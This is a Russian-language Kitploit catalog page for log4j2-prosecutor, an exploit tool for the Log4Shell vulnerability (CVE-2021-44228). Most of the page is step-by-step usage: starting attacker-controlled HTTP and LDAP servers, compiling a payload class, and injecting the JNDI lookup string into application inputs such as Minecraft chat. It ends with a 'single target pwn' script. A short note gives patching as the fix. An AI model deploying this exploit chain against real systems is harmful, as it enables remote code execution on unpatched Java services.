Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4j2-prosecutor — CVE-2021-44228 | Kitploit
Инструменты/GitHubGitHub/rodfer0x80/log4j2-prosecutor
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubrodfer0x80/log4j2-prosecutor

log4j2-prosecutor

CVE-2021-44228

Репозиторий
4 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

log4j2-prosecutor

Мотивация

Эта фундаментальная уязвимость была описана в [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) и исправлена в [этой статье. (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)

Однако библиотека логирования для Java под названием log4j2 содержала (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), что разрешало доступ к таким протоколам, как LDAP, и позволяло внедрять код в старых версиях Java.

Исправленные версии Java могут предотвратить внедрение кода, но `JNDILookup` выполняет запрос к LDAP-серверу, что может привести к утечке IP-адреса.

Решение — обновить версии **Java** и **log4j2**.

Запуск

  1. Установите зависимости
root@kitploit:~
cd http-server && npm install && cd ../ldap-server && npm install
  1. Запустите и http-server, и ldap-server
root@kitploit:~
cd http-server && node index.js &
cd ldap-server && node index.js
  1. Скомпилируйте Main.java
root@kitploit:~
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>
  1. Запустите JVM с параметрами
root@kitploit:~
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
  1. Отправьте payload в любые параметры в качестве payload (In minecraft, just chatting this will work if exploit's working.)
root@kitploit:~
${jndi:ldap://127.0.0.1:3001/}
  1. Очистка
root@kitploit:~
NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done

Скрипты

root@kitploit:~
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py

Ссылки

  • https://github.com/apache/logging-log4j2/pull/608
  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/NCSC-NL/log4shell
  • https://github.com/ilsubyeega/log4j2-exploits/
  • https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
  • https://www.blumira.com/analysis-log4shell-local-trigger/ (в планах)

Лицензия [GPL3]

См. лицензию в LICENSE

Скачать инструмент